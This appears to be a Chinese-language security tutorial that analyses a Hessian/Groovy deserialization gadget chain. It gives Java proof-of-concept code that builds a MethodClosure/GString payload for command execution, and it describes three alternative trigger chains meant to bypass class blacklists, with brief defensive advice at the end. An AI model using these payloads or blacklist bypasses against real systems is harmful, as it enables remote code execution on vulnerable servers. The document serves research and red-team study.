Hessian Groovy全新链条分析与黑名单绕过
字数 1691 2025-12-25 12:11:51
Hessian Groovy 反序列化漏洞分析与利用教学
1. 背景介绍
在反序列化场景下,应用通常会设置多个黑名单条件来阻止反序列化攻击链。当服务器环境不允许进行JNDI等出网操作时,需要挖掘新的链条来构造序列化POC。本文研究在Groovy依赖下的代码执行链条。
2. Hessian Groovy 新链条分析
2.1 传统链条与改进
传统的Hessian Groovy链只能实现JNDI注入,而新发现的链条可以直接实现命令执行。groovy1链使用了动态代理与ConvertedClosure,而新链则不需要这些操作,使用HashMap作为入口即可。
2.2 完整调用链
java.util.concurrent.ConcurrentHashMap: void readObject
↓
groovy.lang.GString: int hashCode
↓
groovy.lang.GString: java.lang.String toString
↓
groovy.lang.GString: java.io.Writer writeTo
↓
groovy.lang.Closure: java.lang.Object call
↓
groovy.lang.Closure: java.lang.Object doCall
3. 正向分析
3.1 触发流程
- HashMap触发:Gadget中HashMap会调用groovy.lang.GString的hashCode方法
- toString调用:hashCode方法会调用自身的toString方法
- writeTo调用:toString方法会调用自身的writeTo方法
- Closure执行:writeTo方法中调用groovy.lang.Closure#call方法
3.2 关键代码分析
在writeTo方法中调用了groovy.lang.Closure#call,此处需要满足maximumNumberOfParameters为0才会调用无参构造方法。
最终调用doCall方法,groovy.lang.Closure是一个抽象类,其继承类MethodClosure实现了doCall方法,且参数可控。
4. 命令执行原理
4.1 执行链分析
通过构造InvokerHelper.invokeMethod("open -na calculator", "execute", arguments)实现命令执行:
java.lang.String不是NULL,object instanceof Class为false"calc" instanceof GroovyObject为false条件成立- 进入
invokePojoMethod(object, methodName, arguments)
4.2 Groovy扩展方法机制
调用逻辑为MetaClass接收:
- receiver = "calc"
- method = "execute"
- args = null
Groovy会扫描所有已注册的Extension Module,其中包括:
org.codehaus.groovy.runtime.ProcessGroovyMethods#execute(java.lang.String)
Extension Method规则:
如果一个static方法的第一个参数类型与当前对象类型匹配,则被当作实例方法使用。
等价变换过程:
ProcessGroovyMethods.execute("calc")
↓
"calc".execute()
5. POC构造方法
5.1 基础构造步骤
public Object getObject(final String command) throws Exception {
// 1. 创建MethodClosure对象
MethodClosure closure = new MethodClosure(command, "execute");
// 2. 设置参数数量为0
Reflections.setFieldValue(closure, "maximumNumberOfParameters", 0);
// 3. 创建GStringImpl实例
GStringImpl gString = Reflections.createWithoutConstructor(GStringImpl.class);
// 4. 设置values数组
Object[] values = new Object[3];
values[0] = closure;
Reflections.setFieldValue(gString, "values", values);
// 5. 设置strings数组
String[] strings = new String[3];
strings[0] = "triplexlove";
Reflections.setFieldValue(gString, "strings", strings);
// 6. 返回HashMap结构
return Entry2HashFragment.makeConMap(gString, gString);
}
5.2 反射工具类
需要实现的Reflections工具类方法:
setFieldValue(Object obj, String fieldName, Object value)createWithoutConstructor(Class clazz)
6. 黑名单绕过技术
6.1 替代触发链
方案一:BadAttributeValueExpException链
javax.management.BadAttributeValueExpException: void readObject(java.io.ObjectInputStream)
→ groovy.lang.GString: java.lang.String toString()
→ groovy.lang.GString: java.io.Writer writeTo(java.io.Writer)
→ groovy.lang.Closure: java.lang.Object call(java.lang.Object)
构造代码:
public Object getObject(String command) throws Exception {
MethodClosure closure = new MethodClosure(command, "execute");
Reflections.setFieldValue(closure, "maximumNumberOfParameters", 0);
GStringImpl gString = Reflections.createWithoutConstructor(GStringImpl.class);
Object[] values = new Object[3];
values[0] = closure;
String[] strings = new String[3];
strings[0] = "triplexlove";
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Reflections.setFieldValue(exp, "val", gString);
return exp;
}
方案二:JCheckBox链
javax.swing.JCheckBox: void readObject(java.io.ObjectInputStream)
→ javax.swing.JCheckBox: void updateUI()
→ javax.swing.AbstractButton: void setUI(javax.swing.plaf.ButtonUI)
→ javax.swing.JComponent: void setUI(javax.swing.plaf.ComponentUI)
→ javax.swing.JComponent: void uninstallUIAndProperties()
→ javax.swing.JComponent: void putClientProperty(java.lang.Object,java.lang.Object)
→ groovy.lang.GString: java.lang.String toString()
→ groovy.lang.GString: java.io.Writer writeTo(java.io.Writer)
→ groovy.lang.Closure: java.lang.Object call()
方案三:Xerces Token链
javax.management.BadAttributeValueExpException: void readObject(java.io.ObjectInputStream)
→ com.sun.org.apache.xerces.internal.impl.xpath.regex.Token: java.lang.String toString()
→ com.sun.org.apache.xerces.internal.impl.xpath.regex.Token$UnionToken: java.lang.String toString(int)
→ groovy.lang.ListWithDefault: java.lang.Object get(int)
→ groovy.util.ObservableList: java.lang.Object set(int,java.lang.Object)
→ groovy.lang.Closure: java.lang.Object call(java.lang.Object)
7. 技术要点总结
7.1 关键依赖
- Groovy库必须存在于目标classpath中
- 需要反射操作支持
7.2 利用条件
- 目标系统存在Groovy依赖
- 反序列化入口点可用
- 黑名单未完全覆盖所有触发链
7.3 防御建议
- 严格限制反序列化操作
- 实施完整的类黑名单
- 使用白名单机制控制可反序列化的类
- 及时更新Groovy版本
8. 实际应用场景
该技术适用于:
- 红队测试中的反序列化漏洞利用
- 安全研究人员分析Groovy相关漏洞
- 开发人员理解反序列化安全风险
通过掌握这些技术细节,安全人员可以更好地评估和防御相关安全威胁。